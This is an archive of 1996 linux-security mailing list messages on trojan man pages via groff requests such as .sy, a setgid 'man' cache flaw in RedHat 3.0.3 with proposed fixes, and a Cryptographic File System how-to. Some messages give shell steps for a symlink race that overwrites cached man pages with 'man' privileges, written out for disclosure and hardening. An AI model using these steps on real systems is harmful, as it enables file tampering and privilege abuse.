simple queries (e.g. 'man 3 syslog') and bypass the page cache in /var/catman by itself for all other queries (i.e. ones that request troff formatting or preprocessors). More ambitious implementations should allow for a remote man page server with system type and language queries. For example, a query might look like 'Linux 1.3.84 de_DE.88591,ja_JP.jis,en_US 1x color-xterm 2.3' for the 'color-xterm' man page in Germany, Japanese, or English, for Linux version 1.3.84, color xterm version 2.3. The client should be able to handle multi-part responses in case more than one man page shows up. Since HTTP implements all this anyway, it might be even smarter to just make the 'man' command transparently access a CGI script using a minimal subset of HTTP. This has these advantages: - Rapid implementation of minimal servers. If you only have one OS, version, language, encoding, and man page to choose from, you can just ignore these fields in the queries and hard-code them in the responses, and use a small subset of HTTP to simplify implementation. Thus the 'man' command becomes a simple HTTP client (<25 lines) with pager. It isn't necessary to support HTML, since the catman pages are text/plain anyway. - Use of standard tools and protocols. You don't have to implement an HTTP server if you can use an existing one. Plus, you can take advantage of HTTP/MIME features like language and character-encoding support if you do have an international-aware HTTP server. - Somehow, we lost the original problem. HTTP already has support for caching, possibly eliminating the need for a separate man page cache. There are also disadvantages: - IP/DNS spoofing and the usual HTTP cache consistency issues. Is asking a network host for your system documentation (even if it is localhost) more secure than reading a file on the local filesystem, even if that file can be rewritten at will by its creator? - Complexity/reliability issues. This means you *need* to run a network server of some sort if you want to cache man pages. This probably isn't an issue for distribution maintainers, since they can just add the server to the "base" system when man pages and the 'man' program are installed. -- Zygo Blaxell. Former Unix/soft/hardware guru, U of Waterloo Computer Science Club. Current sysadmin for Myrus Design, Inc. 10th place, ACM Intl Collegiate Programming Contest Finals, 1994. Administer Linux nets for food, clothing, and anime. "I gave up $1000 to avoid working on windoze... *sigh*" - Amy Fong linux-security/linux-security.960413100664 1767 1767 5732 6133772340 16635 0ustar majdommajdomFrom [email protected] Sat Apr 13 14:09:43 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id OAA15834; Sat, 13 Apr 1996 14:09:43 -0400 Message-Id: <[email protected]> Subject: Re: [linux-security] Security problems in RedHat 3.0.3... To: [email protected] (Zygo Blaxell) Date: Fri, 12 Apr 1996 20:37:53 +0200 (METDST) Cc: [email protected] In-Reply-To: <[email protected]> from "Zygo Blaxell" at Apr 10, 96 02:46:16 pm From: [email protected] (Rogier Wolff) X-Return-Receipt-To: [email protected] X-Priority: 1 X-Mailer: ELM [version 2.4 PL25] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 862 Sender: [email protected] Precedence: list > > Fix 1: make the man program operate setuid instead of setgid. This [Unverified rumor] Ehm.... while on the subject of "man" bugs, man and/or groff will run arbitrary programs under specification of the man-page-writer....... Do you still want "man" running setuid? (Yes I understand, you want man running as an upriviliged user. However in combination with the bug above, this will subvert your suggested fix) Roger. -- ** Q: What's the difference between MicroSoft Windows and a virus? ** ** A: Apart from the fact that virusses are supported by their authors, ** ** use optimized, small code and usually perform well, none. ** ** EMail: [email protected] * Tel +31-15-2783643 or +31-15-2137459 ** *** my own homepage *** From [email protected] Sat Apr 13 14:39:26 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id OAA16182; Sat, 13 Apr 1996 14:39:26 -0400 Message-Id: To: [email protected] Cc: [email protected] Subject: Re: [linux-security] Security problems in RedHat 3.0.3... Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 13 Apr 1996 20:31:20 +0200 From: Olaf Kirch Sender: [email protected] Precedence: list Rogier Wolff wrote: > [Unverified rumor] > Ehm.... while on the subject of "man" bugs, man and/or groff will run > arbitrary programs under specification of the man-page-writer....... That would be a nasty. groff supports the .sy command to run arbitrary programs. In combination with being able to do `man ./foo.1' that's a hole regardless of whether it's setuid or setgid. I just checked my (admittedly old) man, version 2.2 dated Dec 1994; it does indeed reset uid, but not the gid. Olaf -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. linux-security/linux-security.960414100664 1767 1767 2624 6134173422 16630 0ustar majdommajdomFrom [email protected] Sun Apr 14 09:01:05 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id JAA19845; Sun, 14 Apr 1996 09:01:05 -0400 Date: Sat, 13 Apr 1996 22:13:20 +0200 From: [email protected] Message-Id: <[email protected]> To: [email protected], [email protected] Subject: Re: [linux-security] Security problems in RedHat 3.0.3... Cc: [email protected] Sender: [email protected] Precedence: list : > Fix 1: make the man program operate setuid instead of setgid. This : [Unverified rumor] : Ehm.... while on the subject of "man" bugs, man and/or groff will run : arbitrary programs under specification of the man-page-writer....... : Roger. What is the use of unverified rumours? What is `man'? I know of some seven man programs in use under Linux, two in common use. I maintain one of these - man-1.4* - and am not aware of security-related bugs (although it is quite possible that some exist). If anything is wrong, point it out, and it will be corrected. Andries [mod: To clarify things a bit: The man porgram I was referring to in my previous post was G. Wilford's man_db package; the latest version (2.3.10) still fails to drop setgid privilege, but works okay for setuid. Andries' man-1.4f resets both euid and egid. --okir] linux-security/linux-security.960415100664 1767 1767 12512 6134514132 16643 0ustar majdommajdomFrom [email protected] Mon Apr 15 14:41:26 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id OAA26767; Mon, 15 Apr 1996 14:41:26 -0400 From: Zygo Blaxell Message-Id: <[email protected]> Subject: Re: [linux-security] Security problems in RedHat 3.0.3... To: [email protected] (Rogier Wolff) Date: Mon, 15 Apr 1996 12:07:07 -0400 (EDT) Cc: [email protected], [email protected] In-Reply-To: <[email protected]> from "Rogier Wolff" at Apr 12, 96 08:37:53 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Quoted from Rogier Wolff: > > Fix 1: make the man program operate setuid instead of setgid. This > > [Unverified rumor] > Ehm.... while on the subject of "man" bugs, man and/or groff will run > arbitrary programs under specification of the man-page-writer....... > > Do you still want "man" running setuid? (Yes I understand, you want > man running as an upriviliged user. However in combination with > the bug above, this will subvert your suggested fix) Arbitrary programs? This sounds like a *really* bad problem no matter what circumstances the 'man' program runs under. It means that we can have man page trojans, among other things. Exactly how is this mechanism invoked? Can we fix vulnerabilities introduced by the man page writer? If the man page writer is strictly limited in what commands can be invoked and what parameters they can use, it should be relatively easy to contain things. I thought that was the intent of the lines in /etc/man.config that specify NROFF, etc. Man pages in non-standard MANPATH locations should not be cached, or at least not cached with 'man' group privileges. Unfortunately, in RedHat, they are. ARGH! It's worse than I thought! Try this: PATH=$HOME/bin:${PATH-/usr/bin:/bin} mkdir -p $HOME/bin $HOME/man/man1 $HOME/man/cat1 cp /usr/man/man1/perl.1 $HOME/man/man1 man perl ls -l $HOME/man/cat1/ I get: total 6 6 -r--rw-r-- 1 zblaxell man 5129 Apr 15 10:42 perl.1.gz This means that I can overwrite *any* man page (or at least its cached copy) I like with *any* contents I like, since I control the contents of all the paths involved, the man page formatting processes, the search path for 'man', and I can win race conditions, and man doesn't use O_EXCL when open()ing its output. D'oh! Note that with the networked version of the man page cache I described, this problem doesn't happen. The 'man' command is not set[ug]id, and the network 'man daemon' can't be coerced into processing a man page submitted by a user. Back to the original problem... We can divide man pages into 'trustworthy' and 'untrustworthy' pages by using /etc/man.config. If a man page is found on a search path in this file, it is trustworthy, otherwise it is not. Man directories listed in /etc/man.config must be limited to directories that are controlled by trustworthy users, such as root. System man pages are written by someone trustworthy, and all other man pages, such as those written by users and located on the MANPATH, are not necessarily trustworthy. Then we simply never use 'man' privileges on 'untrustworthy' man pages. We can still cache 'untrustworthy' man pages if the userID invoking the 'man' program happens to have write permission to a nearby 'cat' directory, but this doesn't give users any more privileges than they had already. This would be useful for a user who for whatever reason has installed a man hierarchy in their home directory, perhaps for some privately installed programs. There should be some way to specify untrusted directories in /etc/man.config explicitly, so that users can find man pages by default without invoking privileges to format them--unfortunately, that means these man pages can never be cached as well, unless someone preformats the pages and stores them in the cache as an already-trusted user. Another nifty feature would be to allow user-specific man page caches and get rid of the shared cache altogether. The man page cache would be by default somewhere like $HOME/.catman, which may be a symlink elsewhere, or an environment variable named 'MANCACHEPATH'. This way nobody has to trust anyone but themselves, the system administrator, and whoever wrote the man page. ** In fact, just this one feature would solve almost all of the problems without adding very much complexity or new design at all. ** You can also make the RedHat-supplied 'man' command do this: umask 022 for n in 1 2 3 4 5 6 7 8 9 n; do mkdir -p $HOME/man/{man,cat}$n ln -fs /usr/{X11R6,local,}/man/man$n/* $HOME/man/man$n done mkdir $HOME/bin cp /usr/bin/man $HOME/bin # look ma, no setgid! chmod a-s $HOME/bin/man # just to be sure... then set MANPATH to "$HOME/man" and PATH to "$HOME/bin:${PATH-/usr/bin:/bin}". Then, whenever 'man' is invoked, it will search and use a user's own cache, without invoking or requiring special privileges. -- Zygo Blaxell, Network admin, Linux system support, Windows '95 moral support Myrus Design Inc. Tel: +1 613 233 2339 Suite 203, 275 Bank St. 93 Glebe Avenue Ottawa, Ontario, Canada K2C 1E3 Ottawa, Ontario, Canada K1S 2C2 linux-security/linux-security.960416100664 1767 1767 24171 6134727621 16661 0ustar majdommajdomFrom [email protected] Tue Apr 16 10:03:45 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id KAA31444; Tue, 16 Apr 1996 10:03:45 -0400 From: Zygo Blaxell Message-Id: <[email protected]> Subject: Re: [linux-security] Security problems in RedHat 3.0.3... To: [email protected] Date: Mon, 15 Apr 1996 15:29:54 -0400 (EDT) Cc: [email protected], [email protected], [email protected] In-Reply-To: <[email protected]> from "[email protected]" at Apr 13, 96 10:13:20 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Quoted from [email protected]: > What is the use of unverified rumours? > What is `man'? Whatever RedHat uses. According to 'rpm': zblaxell@fludd:/var/lib/rpm$ rpm -q man man-1.4f-2 I'm using ftp://ftp.redhat.com/pub/current/i386/SRPMS/man-1.4f-2.src.rpm as a reference. Hmmm...I should have RTFMed... 'man man' says 'make man setuid-man' the rpm file installs man setGid man So there seems to be an installation error on RedHat's part (or whoever maintains the man-1.4f-2.rpm file anyway). (*) It should be installed mode 4555, owner man. Write permission for the owner (man) doesn't matter--if a user can make man overwrite arbitrary files as 'man', then attempting to modify /usr/bin/man while it is executing will fail with EBUSY; if the user can execute arbitrary commands as 'man', the user can chmod /usr/bin/man to something more friendly; we lose either way. > I know of some seven man programs in use under Linux, two in common use. > I maintain one of these - man-1.4* - and am not aware of security-related > bugs (although it is quite possible that some exist). > If anything is wrong, point it out, and it will be corrected. (!) There are some distressing things that still happen. One is that during man page creation I can get mode 666 files in the cache directory sometimes. (!) Currently, 'man' will use setgid privileges (if any) to manipulate cache pages in non-standard locations. I don't see any changes that RedHat might have made to create this bug, other than to make man setgid in the first place, so I assume the problem was already there. This can be fixed by the changes below. (*) The file permissions should be set in the open() call and/or by the umask before the open ever occurs--this will take care of mode 666 files. The open() call should also include O_EXCL, to guarantee that symlinks in the cache directories will not be followed while writing the cached man page. (*) Suggestion: Avoid the use of fopen(cache_page,"w"). Using fopen() to create files is almost always evil, especially in programs that might run with privileges in shared directories. Use this instead: FILE *safe_fopen_w(char *path) { /* open path in "w" mode */ int fd; FILE *fp; fd=open(path,O_WRONLY|O_CREAT|O_TRUNC|O_EXCL,0444); if (fd<0) return NULL; fp=fdopen(fd,"w"); return fp; } (*) man.config should be used to explicitly specify where 'man' privileges should be used to write cached pages; the user's original privileges should be used in *all* other places. This applies to both setuid-man and setgid-man versions. Note: Testing the permissions and ownership of the cache directory is not sufficient, because a user can control path components leading up to the cache directory, like this: MANPATH=/home/user/foo/bar/man/man1 mkdir /home/user/foo/BAR/man/{man,cat}1 ln -s /usr /home/user/foo/bar mv /home/user/evil-manpage.1 /home/user/foo/bar/man/man1/sh.1 man sh The user waits for 'man' to check the ownership of '/home/user/foo/bar/man/cat1' and be satisfied with it, then replaces 'bar' with 'BAR' and makes 'cat1/sh.1.gz' a symlink to whatever file she wants overwritten. Now the user waits for 'man' to open '/home/user/foo/bar/man/cat1/sh.1.gz' with 'man' privileges--note that the directory name '/home/user/foo/bar/man/cat1/' points to a very different directory now than it did before. (*) An alternative to listing directories for cache pages in man.config is to check every directory component of the cache page directory. This is somewhat more complicated to implement because unfortunately we're stuck with Unix's security model. Feel free to ignore everything up to the next star in brackets. If any directory component of a cache directory is writable by any user other than root or man, drop all privileges. If any directory component is a symlink, chdir() to the pathname so far, replace that component and all previous components with the result of getcwd(), and start over. The actual writability test is: (owned by root OR owned by man OR on a list of approved users) AND (owned by group man OR not-group-writable) AND not-world-writable Example: Assume symlink /usr/man -> /disk-three/usr/man For a man page in /usr/man/man1/sh.1, the cache directory is '/usr/man/cat1/'. To test this directory ("/usr/man/cat1"), do the following: lstat("/usr") - a directory writable only by 'man' or 'root'. OK. lstat("/usr/man") - a symlink owned by 'man' or 'root'. OK. chdir("/usr/man") - OK getcwd(buf,size) - get current directory - /disk-three/usr/man We followed a symlink, so start over with '/disk-three/usr/man/cat1'. lstat("/disk-three") - directory writable only... OK lstat("/disk-three/usr") - directory writable only... OK lstat("/disk-three/usr/man") - directory writable only... OK lstat("/disk-three/usr/man/cat1") - directory writable only... OK OK. End of test. Still OK. This test will correctly fail if a user has control over pathname components. If '/home/foo/man/usr-symlink/cat1' is passed to the test, it will fail because '/home/foo' will fail the writability test. Incidentally, if a cache directory derived from the user's MANPATH does not begin with "/", then drop all privileges. Also, man.config may have to specify a list 'approved users', for sites that have a lot of software maintained by users trusted to install software for the user community but not to have root privileges. (*) There's a robustness/reliability issue: output for cached man pages goes directly into a file opened O_CREAT|O_TRUNC. If the system crashes or the formatting program is interrupted by the user, this page will be invalid but will have a newer timestamp than the original man page. Ideally a temporary file would be created first, then rename()d to the final cached man page name. (*) There's a chmod() call on the cached man page that is unnecessary. The permissions can be set as described above with proper use of open() or umask() and the chmod() call can be removed. (*) It's possible for a user to attach a debugger to the man page formatting program and take control of the man page formatting software to produce arbitrary output for cached man pages. This can be avoided by carefully destroying the environment of the man page formatting software (simply not passing 'envp' to execve() is enough), closing all open file descriptors, resetting alarms (alarm(0)), resetting resource limits (coredumpsize=0, datasize=unlimited, cputime=unlimited...), setting signal handlers (ignore most of them), and running it as user 'man', out of reach of the debugger. I think I got everything that needs to be done in that list. -- Zygo Blaxell. Former Unix/soft/hardware guru, U of Waterloo Computer Science Club. Current sysadmin for Myrus Design, Inc. 10th place, ACM Intl Collegiate Programming Contest Finals, 1994. Administer Linux nets for food, clothing, and anime. "I gave up $1000 to avoid working on windoze... *sigh*" - Amy Fong From [email protected] Tue Apr 16 10:32:47 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id KAA31615; Tue, 16 Apr 1996 10:32:47 -0400 From: Zygo Blaxell Message-Id: <[email protected]> Subject: Re: [linux-security] Security problems in RedHat 3.0.3... To: [email protected] (Olaf Kirch) Date: Mon, 15 Apr 1996 16:28:58 -0400 (EDT) Cc: [email protected], [email protected] In-Reply-To: from "Olaf Kirch" at Apr 13, 96 08:31:20 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Quoted from Olaf Kirch: > Rogier Wolff wrote: > > [Unverified rumor] > > Ehm.... while on the subject of "man" bugs, man and/or groff will run > > arbitrary programs under specification of the man-page-writer....... > > That would be a nasty. groff supports the .sy command to run arbitrary > programs. I just checked all of RedHat's man pages; none of them seem to use a .sy command. This sounds like a feature we can just patch out of groff and forget about (except possibly to refuse to process man pages with '.sy' in them after preprocessing). We can also assume that system man pages in root-configured paths are free of .sy directives or at least contain only harmless ones. > In combination with being able to do `man ./foo.1' that's a hole > regardless of whether it's setuid or setgid. Since the output of ./foo.1 would not be cached in the system's shared man page cache, it does not need to be formatted with any special privileges. The man command would simply drop its privileges and continue as the invoking user. Indeed, it tries to do this now, but not very well. Remember we are trying to protect the integrity of the shared catman cache. Anything else we don't need or want extra privileges for, and we can let the users run what they like. However, for the shared catman cache, the user should have no control over the formatting process other than to initially invoke it and read its output. -- Zygo Blaxell. Former Unix/soft/hardware guru, U of Waterloo Computer Science Club. Current sysadmin for Myrus Design, Inc. 10th place, ACM Intl Collegiate Programming Contest Finals, 1994. Administer Linux nets for food, clothing, and anime. "I gave up $1000 to avoid working on windoze... *sigh*" - Amy Fong linux-security/linux-security.960417100664 1767 1767 53713 6135275325 16666 0ustar majdommajdomFrom [email protected] Wed Apr 17 02:36:12 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id CAA02613; Wed, 17 Apr 1996 02:36:12 -0400 Message-Id: To: [email protected] Subject: [linux-security] Trojan manpages summary and suggestions Date: Wed, 17 Apr 1996 00:15:13 +0200 From: Olaf Kirch Sender: [email protected] Precedence: list Hi all, Since the discussion is starting to repeat itself, I think it may be useful to summarize at this point what we have so far (gleaned from the list and some private email exchange). * .sy (and .pi, used to pipe stuff into a command) have been around for a long time, and are documented in the AT&T troff user's manual. groff adds its own set of potentially dangerous commands: .open and .opena which let you open a file for writing (documented in gtroff(1)), and .pso (pipe source, read from a shell command). These commands do have legitimate uses. The psfig macro package, for instance, has to run the psbb command to find the bounding box of a postscript image; .open and .sy are used by GNU mm macros to produce cross-references. * There are two problems with man: On one hand, if man fails to reset euid and/or egid, users may be able to write to files owned by the man user or group. This may even be true for the man binary itself if it runs groff under the man uid, or if it runs groff under the man gid and /usr/bin/man is group-writable. The solution to this one is to reset uid/gid properly. The second problem is that manpages may contain evil commands that compromise the account of whoever happens to format them. * As far as trojan manpages are concerned, you can remove potentially dangerous commands by adding the following to /usr/lib/groff/tmac/tmac.andoc and .../tmac.an: .rm sy .rm pi .rm open .rm opena Note that this alone does not plug the hole if you're not fixing the setgid problem at the same time; users can ask groff to read its macro packages from an alternative directory by setting the GROFF_TMAC_PATH environment variable. Things get a little complicated with gpic. It has a directive named `sh' that (you guessed it) will run a shell command. By default, man doesn't run this command, but man_db has one helpful feature that lets you request the set of preprocessors by adding a special comment in the first line of the file ('\" ). The fix is to make man run pic with the -S (`safer') flag. * man is not the only application that might be affected by troff trojans. Although they may not be widely used, there are *roff MIME types; if you have those in your mailcap file(s), remove them. Disclaimer: this list may be incomplete. If anyone thinks that this is reminiscent of the ghostscript hole a while ago, I'll agree instantly:-) Cheers Olaf -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. From [email protected] Wed Apr 17 19:08:14 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id TAA13005; Wed, 17 Apr 1996 19:08:14 -0400 Message-Id: <[email protected]> To: [email protected] Subject: [linux-security] LSF: Cryptographic Filesystem under Linux Date: Wed, 17 Apr 1996 17:14:41 -0400 From: "Alexander O. Yuriev" Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Cryptographic File System under Linux HOW-TO LINUX SECURITY FAQ March 14, 1996 Copyright (C) 1996 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY USA This document describes how to compile, install and setup CFS that was written by Matt Blaze of AT&T, under Linux. The following copyright statement copied directly from CFS 1.12 describes the restrictions on the CFS usage: * The author of this software is Matt Blaze. * Copyright (c) 1992, 1993, 1994 by AT&T. * Permission to use, copy, and modify this software without fee * is hereby granted, provided that this entire notice is included in * all copies of any software which is or includes a copy or * modification of this software and in all copies of the supporting * documentation for such software. * * This software is subject to United States export controls. You may * not export it, in whole or in part, or cause or allow such export, * through act or omission, without prior authorization from the United * States government and written permission from AT&T. In particular, * you may not make any part of this software available for general or * unrestricted distribution to others, nor may you disclose this software * to persons other than citizens and permanent residents of the United * States and Canada. * * THIS SOFTWARE IS BEING PROVIDED "AS IS", WITHOUT ANY EXPRESS OR IMPLIED * WARRANTY. IN PARTICULAR, NEITHER THE AUTHORS NOR AT&T MAKE ANY * REPRESENTATION OR WARRANTY OF ANY KIND CONCERNING THE MERCHANTABILITY * OF THIS SOFTWARE OR ITS FITNESS FOR ANY PARTICULAR PURPOSE. Although the information in this document is believed to be correct, neither the Author nor CIS Laboratories, nor Temple University provides any kind of WARRANTIES and is not/are not responsible for what happens if you follow these guidelines. The information in this document is provided AS IS! ABOUT CFS CFS provides application-independent encryption/decryption of the filesystem layer that does not require modification of the underlying filesystem code nor any kind of modification of the kernel source. The symmetric cipher implemented in the mainstream version of CFS is based on the modified DES cipher running in CBC mode making the brute-force attack against the usual 56-bit DES key-space unrealistic. The structure of CFS makes replacement of the mainstream DES cipher with a Fast-DES or any other symmetric cipher an extremely straightforward process. Please refer to the "White" paper about CFS for more information (ftp://bach.cis.temple.edu/pub/Papers/cfs.ps) COMPILING AND INSTALLING CFS CFS does not compile "out of the box" under Linux. Follow these instructions to get CFS running or your Linux system. There are several methods to make CFS work under Linux, the cleanest one of which is based on the modifications performed by Olaf Kirch. His version of CFS is available from: ftp://ftp.mathematik.th-darmstadt.de/pub/linux/okir/cfs-1.1.2.tar.gz Olaf signed the modified archive. The PGP signature for the modified version of the cfs-1.1.2 can be obtained from ftp://ftp.mathematik.th-darmstadt.de/pub/linux/okir/cfs-1.1.2.pgp In single-user mode, compile CFS by using the "make" command. After compilation is completed, install "cfsd", "cdetach", "ccat", "cmkdir", "cname" and "cattach" to the /usr/local/sbin directory with the ownership "root:wheel" and the access mode "551". Generate a list of MD5 hashes of the clean binaries. Now copy these files together with the "md5sum" to a media such as an image of a CD or a floppy and make the media write protected. Create the directory /.cfsfs which will be used as a hook for the CFS server. Make that directory owned by root:root and protected with access mode "000". Create the directory /securefs which will become a root of the CFS tree. Add the following lines into your /etc/rc.d/rc.local: echo -n "Initializing secure filesystem: " if [ -x /usr/local/sbin/cfsd ]; then /usr/local/sbin/cfsd > /dev/null echo -n "cfsd " /bin/mount -o port=3049,intr localhost:/.cfsfs /securefs echo -n "loopback " echo "done" else echo "Cryptographic Filesystem is not installed" fi Users of the Caldera Network Desktop and Red Hat Commercial Linux distributions should add the file "cfsfs" that is attached at the end of this document to their /etc/rc.d/init.d directory. Then symlink the file "S65cfsfs" to it in the appropriate run-level directories using the command: ln -s ../init.d/cfsfs S65cfsfs in /etc/rc.d/rcX.d, where X is a run-level number, add the line: /.cfsfs localhost to /etc/exports. Finally, add the line: portmap: 127.0.0.1 to the /etc/hosts.allow file. You should now restart your computer. When it comes back into a multiuser mode, issue a mount command to verify that CFS is running. If everything was successful, you should see a new line in a list of filesystems: localhost:/.cfsfs on /securefs type nfs (rw,port=3049,intr,addr=127.0.0.1) CREATING CFS DIRECTORY To create a CFS protected directory called "secret" use the command cmkdir secret You will be requested to supply and verify the passphrase. If you succeed, a new directory named "secret" will appear in the current directory. This directory will contain encrypted information which will be accessible only in the encrypted form unless it is attached to the CFS tree. In order to add the "secret" directory to a list of directories managed by CFS, it has to be attached to the CFS tree using the command: cattach secret Big-Secret CFS will request you to type the access passphrase. If it matches the passphrase supplied to the "cmkdir" command that created the directory originally, then the information in the secret directory will be accessible in a non-encrypted form under /securefs/Big-Secret to the user who supplied the correct passphrase. Please note that usually it takes about a minute to attach a protected directory to the CFS tree. When the user is finished manipulating the information they should issue the command: cdetach Big-Secret to destroy the access key. This command removes the directory "secret" from the list of directories managed by CFS making it impossible to access cleartext information in that directory until it is again attached using the "cattach" command. PROTECTION OF CFS In order to grant a user access to encrypted parts of the directory tree, CFS requires the user to supply a passphrase that is used to generate a set of access keys. A compromise of a passphrase allows an intruder to access the encrypted information through the Unix security model. Therefore it is extremely important to protect access passphrases. There are two basic ways that can be used by intruders to gain access to your passphrase. They are (1) Sniffer attacks (2) Attack against the protocol. The following simple guidelines can be used to minimize the possibility of a successful attack against CFS: 1. Make sure that the CFS binaries are not compromised in any form. * Ensure that "cattach", "ccat", "cmkdir", "cname", the CFS server "cfsd" and finally, "cdattach" are not replaced with Trojan versions that record access passphrases or, in a case of "cfsd", access keys. * Ensure that the CFS server is not compromised in a way that it does not perform the encryption procedure correctly. * An attack against "cdeattach" usually involves a small modification that prevents correct destruction of access keys allowing an intruder to gain access to a supposedly detached part of the directory tree. The simplest way to verify that binaries are not compromised is to statically link them and place them on a CD. Another way is to again statically link the binaries, use "md5sum" message-digest calculator and write their MD5 hashes onto a write-protected media. Prior to using any CFS programs on a system, mount the floppy disk and compare MD5 hashes of binaries on the system with the hashes of the clean statically linked copies located on the floppy disk, replacing the compromised versions. 2. Keyboard grabbers used to grab passphrases as they are being typed rely on the fact that most users are careless enough to ignore the following simple guidelines: 1. When typing a passphrase in an xterm, make sure that the xterm program is not compromised and use the "Secure Keyboard" option while typing the passphrase. This prevents keystrokes from being intercepted by X grabbers. 2. Type passphrases from a terminal attached directly to a serial port of the system when such terminal is available. 3. Make sure that your pty and ttys permissions disallow others from reading your keystrokes directly from the device node. 3. Never type your passphrase across the network, even if the network is located behind a firewall and you trust everybody who is connected to your network not to use sniffers. This also applies to networks that use scrambling routers, because there is absolutely no guarantee that routers use a strong encryption or do not have a back door or a loophole that potentially can allow an intruder to defeat encryption used by a router. If you have to type your password across the network, do it only if you are using an encrypted tunnel between systems such as the one created by the deslogin(8) protocol. 4. Always de-attach CFS protected trees from the filesystem when not using them, even when you are leaving your system for "only" a couple of minutes. KNOWN PROBLEMS WITH CFS At this moment there is only one problem that can be reproduced. "Permission denied" error is generated when a user attempts to access the files located on a compact disc. CREDITS The following people helped in the preporation process of this document: Topher Hughes of the Dickinson College, Elie Rosenblum of the Montgomery Blair High School, Mario D. Santana of the Florida State University, Daniel P Zepeda and Olaf Kirch. ====================[cfsfs]====================== #!/bin/sh # # $Header: /Secure/secure-doc/linux/CFS/RCS/CFS-Doc,v 1.4 1996/03/15 04:49:37 alex Exp alex $ # # cfsfs Crypto filesystem # # Author: Alexander O. Yuriev # Derived from cron # Source function library. . /etc/rc.d/init.d/functions # See how we were called. case "$1" in start) echo -n "Starting Crypto Filesystem: " if [ -x /usr/local/sbin/cfsd ]; then /usr/local/sbin/cfsd > /dev/null /bin/mount -o port=3049,intr localhost:/.cfsfs /securefs echo "done" else echo -n "Crypto Filesystem is not installed" fi touch /var/lock/subsys/cfsfs ;; stop) echo -n "Stopping Crypto filesystem: " umount /securefs killproc cfsd echo rm -f /var/lock/subsys/cfsfs ;; *) echo "Usage: cfsfs {start|stop}" exit 1 esac exit 0 ====================[end of cfsfs]====================== -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMXVewoxFUz2t8+6VAQHHoAP/WEZ9luRJ/gFgQydBbEfM2vXTF/1VCe7D KoT3X5bRP+zZVufGt6B6n0IjDUXFX/Lv6264ZZ6jF/BKO9mrLxoGI5sA6Y6HQ7fb DFy8+XdZhponnuih3eJ5z46bRwLWVd+lr2+ORK17ukTLbsY65kzF3wTzczRNqL9G wPN6j3+LVXE= =BEE2 -----END PGP SIGNATURE----- From [email protected] Wed Apr 17 19:09:13 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id TAA13060; Wed, 17 Apr 1996 19:09:13 -0400 From: Zygo Blaxell Message-Id: <[email protected]> Subject: Re: [linux-security] Security problems in RedHat 3.0.3... To: [email protected] (Steve \"Stevers!\" Coile) Date: Wed, 17 Apr 1996 16:55:32 -0400 (EDT) Cc: [email protected], [email protected] In-Reply-To: from "Steve \"Stevers!\" Coile" at Apr 16, 96 02:12:49 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Quoted from Steve \"Stevers!\" Coile: > > I just checked all of RedHat's man pages; none of them seem to use a .sy > > command. This sounds like a feature we can just patch out of groff and > > forget about (except possibly to refuse to process man pages with '.sy' > > in them after preprocessing). > > Patch out of groff?! And what about everyone using that > functionatilty? Just tell 'em, "tough luck, our purposes before > yours"? No, that's an unacceptable answer. If you're going to patch > groff, add a feature to *selectively* disable ".sy", not disable it > altogether. Errr...I'm sure I meant 'make .sy non-default for groff with a flag to enable it' rather than 'remove it completely'. If you must, then switch the sense of the flag; just put the flag in and document its function, fix 'man' to use the flag, and I'll be happy. That said, I think it would be a useful security policy for all programs (under Linux or anything else) to by default *not* allow you to run shell programs taken from their input files (i.e. via ghostscript, nroff, etc). Most packages have no problems dealing with odd variants of groff anyway, and few enough of those use .sy that changing them shouldn't be a problem. How many real postscript files, files that you expect to send to a real PostScript printer to generate printed output, use the pipe or write-to-file features? Why does ghostscript need to enable these features by default? There's something to be said for least surprise. On the one hand, it is surprising for people who use .sy to suddenly require a command-line option to groff to get it to work; on the other hand, it is surprising for new Unix users to find out that reading a formatted text file is a security hole (I've been using Unix for four years, and I was surprised by this one). Who would you rather surprise? > > We can also assume that system man pages in root-configured paths are > > free of .sy directives or at least contain only harmless ones. There's also the possibility of configuring groff or man with a list of 'approved' .sy, .open, .pi, etc commands and filtering the input to reject any other ones (or for man to proceed without using the caching mechanism, which would require extra privileges). This sounds like a lot of trouble; I'd prefer establishing the rule that man pages read by the 'man' command either a) can't execute programs, period, or b) can execute programs, but with the original user's privileges, and without using the privileged shared cache mechanism. > We can *assume*?! Geezus, is that how you handle security, through > *assumptions*? We can't *assume* anything. I can assume that it is safe for me to execute programs stored in binaries owned by root and stored in directories such that only root can manipulate their 